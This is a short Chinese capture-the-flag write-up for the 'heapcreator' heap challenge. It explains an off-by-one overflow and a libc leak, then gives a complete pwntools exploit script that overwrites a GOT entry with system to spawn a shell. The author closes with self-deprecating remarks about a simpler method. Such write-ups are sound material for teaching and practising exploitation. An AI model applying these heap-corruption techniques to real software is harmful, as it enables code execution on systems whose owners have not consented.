漏洞点:
edit_chunk :off by one 一个字节的溢出
free_chunk: 逻辑漏洞,可以泄露libc
思路:
利用逻辑漏洞泄露libc
利用off by one 实现chunk extend
构造堆块重叠
实现任意地址写
exp:
from pwn import *
p = process("./heapcreator")
e = ELF("./heapcreator")
libc = e.libc
p.timeout = 0.1
def add(size,content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Size of Heap : ")
p.send(str(size))
p.recvuntil("Content of heap:")
p.send(content)
def edit(index,content):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
p.recvuntil("Content of heap:")
p.send(content)
p.recvuntil("Done !\n")
def show(index):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))
def delete(index):
p.recvuntil("Your choice :")
p.sendline("4")
p.recvuntil("Index :")
p.sendline(str(index))
add(0x18,'/bin/sh\x00')#0
add(0x80,'cccc')#1
add(0x18,'dddd')#2
delete(1)
delete(2)
add(0x80,'a'*(8))
show(1)
main_arena_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
libc_base= main_arena_addr-0x3c4b78
success("libc_base:"+hex(libc_base))
system = libc_base + libc.sym["system"]
add(0x18,'aaaa')
delete(1)
edit(2,"a"*(24)+"\xb1")
add(0xa8,"a")
edit(1,"a"*(0x80)+p64(0x90)+p64(0x20)+p64(0xa0)+p64(0x602018))
edit(1,p64(system))
delete(0)
p.interactive()
以上是我自己的打法,不过后来看别人的wp,发现我是个fw!
直接chunk_extend 覆盖后面的chunk 就可以任意地址写了。